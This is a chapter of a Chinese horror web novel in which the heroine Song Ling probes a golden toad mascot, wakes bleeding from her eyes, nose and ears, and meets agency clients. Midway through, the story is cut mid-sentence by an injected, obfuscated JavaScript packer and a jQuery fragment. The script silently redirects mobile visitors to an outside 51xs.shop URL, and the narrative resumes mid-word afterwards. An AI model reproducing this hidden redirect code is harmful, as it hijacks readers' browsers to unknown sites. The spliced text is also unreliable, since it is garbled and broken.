宋翎慢吞吞把泡沫盒收起来,倒了杯茶端着慢慢喝。
周围几人吃完饭就又瘫在办公椅上,屏幕的光反射到他们的脸庞,几人看得津津有味。
感觉是一群网瘾少年。
茶叶在水中翻滚、舒展,茶汤色泽碧绿,宋翎抿了口,下定决心般站起来,椅子在地上拖拽发出响动,没有一个人对此有反应,还兴致勃勃地盯着电脑屏幕。
唯一一个没被电脑诱惑的人走到龚伯的办公桌前,上面放着的资料都被尽数翻阅过,除了这尊金蟾蜍。
蟾蜍呈蹲坐状,它的极为四肢肥大,脊背拱起,眼间距很近,绿豆大小的眼睛看着特别滑稽。
宋翎戳戳它的背部,反馈回来的触觉是正常的冰冷硬实。
幸好外表只是凹凸不平,没有奇怪的触感,宋翎松了口气,打消些不太好的猜测。
她曲起手指敲了敲这尊吉祥物,把它上上下下摸了个遍,特别查看后也没有什么异样,没有所谓的摄像头红点。
宋翎的视线缓缓停留在它的嘴部,里面会不会藏了东西?
鬼使神差,它缓缓把手伸到金蟾蜍大张的口中,里头空间小,她得叩着手在它嘴内探索。
它含着的是枚圆形方孔钱,宋翎摩挲着钱币,上面很多花纹,似乎还刻了字?
“嘶!”
针扎般的疼痛刺激下,人猛地缩回手,不可置信地看指尖溢出一滴饱满的血珠,宛如红宝石缀在上面。
金蟾蜍仍旧保持原样,尽职尽力地眺望着门口。
宋翎捂着手在心中冷笑,原本只是怀疑,现在可以肯定这青蛙有问题!
迟早把你砸了,宋翎愤愤想。
或许是被惊吓到,宋翎本来昏昏欲睡的大脑瞬间清醒,仿佛打了针强效清醒剂,堆叠的疲倦眩晕被一并带走。
和沉溺于网络的队友不同,整个下午她都精神满满翻看浏览记录。
记录中全是正常访问记录,她干脆一条条点进去,就是平台留言她也逐字逐句分析,绝不放过任何蛛丝马迹。
等到下午外卖员的敲门声响起,宋翎从舒适的皮革椅上跳起来,三步并作两步,以一种极快的速度窜到大门前。
她有些期待地打开了大门。
“诺,龚先生的外卖请您签收。”同样打扮的外卖员将餐盒递给她,一边在手机上确认完成订单,“如果可以,麻烦给我一个五星好评,这对我很重要。”
不是同一个人。
说不清是庆幸还是别的什么感受,宋翎接过外卖。
晚餐后龚伯悠哉游哉从楼上晃下来,他穿了身明黄色的中山服,格外显眼。他双手背在身后,话也懒得讲了,象征性地咳嗽几声,示意几人上楼睡觉。
“龚伯,您今天一天也都是待在楼上?”宋翎试探着开口。
“对啊,我老头子也没啥娱乐活动,躺在床上掰着手指头过日子。”龚伯笑眯眯地回答。
“今天,夏奶奶来问我们工作准备得怎么样。”
“夏?哦!夏美珍嘛!怎么样,她很难伺候,年轻的时候开了间肉铺,泼辣得不得了……”
他在前面领路,嘴上絮絮叨叨,像是压根没发现自己招来的实习员工人间蒸发了两位,或许发现了也不在意……
宋翎对这种打马虎眼的话向来是左耳进右耳出,身边忽然传来动静,她偏头,主夫冲她扯出个腼腆的笑来。
对此她马上高度警觉,面前的这个人总给自己一种随时会惹出祸端的感觉,很不妙。
主夫的语气很神秘,他以一种讲悄悄话的神态,凑得有些近,说话间温热的气息铺在脖子上,“你有没有觉得,我们的老板长得像一种动物。”
说完,睁大眼睛等她回应,眼神中满是憧憬。
宋翎别扭的拧过头,暗搓搓落后几步和他拉开距离,“讨论他人的样貌很不礼貌。”
男人一撇嘴,“假正经。”
宋翎不出声,随他怎么说。
“哎!跟你说话可真无聊。”主夫气恼地一甩手,“你就不觉得他像只懒青蛙吗?”
懒青蛙?
宋翎一愣,立即联想到办公桌上摆着那尊金蟾蜍,心思活络起来。
要不是主夫提起,她还真没怎么注意过龚伯的长相,宋翎借着机会观察。
确实,绿豆眼,大厚唇,满是老年斑的脸上不仅有皱纹,居然还像处于青春期的少年般,脸上坑坑洼洼,长满了一粒粒的痘痘!红肿鼓起,有的成熟痘还冒了白点。只要一碰,分泌物就会跟鼻涕虫一样挤出来。
就像蟾蜍的背。
因为有胡子盖着,宋翎从来没关注过龚伯的皮肤情况。
现在越看越像,就连他弓着的背也和楼下的吉祥物差不多。
见人沉默,主夫对此洋洋得意,以一种夸耀的口吻,“对吧,是不是很像!”
他忽然竖起手指,“你可别告诉别人,我只告诉你。”
“因为我像你的女儿?”宋翎还记得他胡扯的话,扯扯嘴角。
男人对此再次腼腆一笑。
三人回到房间,宋翎想起隔壁床下撒了香灰的事情,也把自己的床铺翻开来检查,蒲公英和垂耳兔跟着有样学样。
“真稀奇了,他们有我们没有。”
“没事。”垂耳兔松了口气,“我们早点睡吧,我实在是好困。”
说完她就支撑不住一样,倒头就睡。
宋翎脱了鞋子和衣躺在床上,很快,迅猛的睡意朝她侵袭而来,她缓缓合上眼。
一夜无梦。
早晨,蒲公英放弃传统的下床方法,选择从上铺一跃而下,她敲敲宋翎的床杆,问:“你还不起来?”
“你们先去吧,我想再躺会。”
“行,那我们先走了。你的声音怎么这么哑,是不是要生病了,今天记得多喝点水。”
蒲公英见她整个人都缩在被子里,随口关照几句就掩上门出去。
等二人一走,宋翎直起身,面无表情的掀开被子,心中早有猜测,可等真正窥见被窝的样子时,冷静如她也忍不住心中的惊愕。
床单,被单,枕巾,能见之处皆是黑褐色的血迹,不规则的遍布格纹被单上,一处处洇散的痕迹,仿佛亲临凶杀现场,用触目惊心来形容都不为过。
宋翎深吸一口气,尽量平和内心的波澜。
冷静点,这没什么,不过是流血了,没错。流了这么多血,虽然自己身上一个伤口也没有。宋翎在心中自圆其说,试图洗脑自己。
她习惯地摸摸鼻尖,蹭了一手黑红色的血痂。
好了,知道血从哪里来了。
宋翎掏出纸巾擦拭脸颊,把觉得可能出血的地方都擦了遍。
一通检查后,她的双眼,鼻子,嘴唇,甚至是耳朵都发现蜿蜒的血痕。
这算七窍流血?
今早宋翎一睁眼倍感大事不妙,头疼欲裂,喉咙干痛,脸上还黏黏的,不知道覆盖着一层什么东西。
一切的一切仿若在叫嚣:你要倒霉了。
她刚准备起身查看,上铺传来动静,蒲公英放弃扶梯,直接跨越床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423185|138732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
架,从上铺跳下来叫她们起床。
宋翎目前还不知道自己到底怎么个倒霉,要是被别人看见而起疑心可就得不偿失,她只好特意支开二人先去洗漱。
只是,七窍流血是不是倒霉过头?自己也没干伤天害理的事啊。
光从床上起来几个动作,她的脑内嗡鸣声不断,腿绵软无力,看东西都带上叠影,宋翎只好扶着栏杆缓了许久。
自己的身体比昨天更虚弱了。
实习日一共七天,今天是第三天,还有四天时间,自己撑不了那么久。
明天……最多明天必须结束这个副本。
不然自己没被鬼怪杀死,也会因身体机能倒退羸弱而出事。
宋翎压下喉间的血腥气,算准时间从房间走出来。
第二天的客户在上午十点准时按响了门铃。
进来的是位秀气的年轻女人,肤色极白,穿一条碎花裙。许是刚生产完不久,她走路时仍习惯挺着腰部,见众人的目光都聚焦在她身上,陈珍珍十分不好意思,手下意识抚摸腹部。
“请坐,陈女士。”
几人早已有准备,备好茶水等着委托人到来。
“谢谢。”女人坐下来,“各位已经看过我的需求了吧,我要找一位好月嫂。”
“您的孩子多大了?”
“刚足月,以前有月子中心的阿姨帮忙带着。”陈珍珍苦恼一笑,撩了下头发,露出耳上的珍珠耳环,“昨天刚出月子中心,这小家伙吵得我睡不好。”
“我老公工作很忙,婆婆在乡下,我妈身体也不好。没人可以帮衬我,就想着找位月嫂帮忙。我也不是本地人,听邻居说你们好运来介绍所无论从哪个方面来说都是顶尖的。”
“女士,我很理解您的烦恼。”主夫语气感慨,“这个时候的孩子很难管,我深有感触。”
“啊?您……”陈珍珍有些惊讶。
宋翎见男人明显激动,心中不知该作何感想。
“是啊,您别看我年轻,我的孩子已经上幼儿园了!那段时光真的很辛苦,我家孩子睡不安稳,我就每晚把她抱在怀里哄着睡觉,我一停下,她就哭。可以这么说,我就没睡过几个安稳觉。”
听着听着,女人的脸上流露出些惺惺相惜的表情。
“陈女士。”最后还是蒲公英强硬打断两人的话题,“很遗憾,我们现在没为您找到合适的人。”
看着女人动容的神色立马僵硬,蒲公英连忙补充,“不过,您可以从我们中间选择。”
陈珍珍尖着嗓子,“你们?别开玩笑了,你们都才多大?有证吗。”
蒲公英陪着笑,“您要知道,有证不代表什么,有经验才是王道。那位有女儿的不用说。您别看我年纪轻,我都有孩子了。”
她伸手分别指向垂耳兔和耳钉男,“那个女生不用说,那个男生经验也很丰富,他有对小他二十二岁的双胞胎弟弟,都是他亲手照顾的。”
见耳钉男神色铁青,蒲公英心中舒畅不已,她就是不明原因地讨厌他。
最后,她的话茬停留在宋翎,对着她那张明显稚嫩的脸庞,怎么也说不出话。
“我大学学的是护理。”宋翎主动解释。
陈珍珍明显信服,犹豫地在他们之间挑挑拣拣。
这时,大门忽然被敲响了。
“喂!开门开门!”来人不耐烦地拍着门,语气粗暴,“老板来了也不开门接待,你们是怎么做生意的。”
环绕着陈珍珍的几人压不住惊讶。
今天的第二位委托人?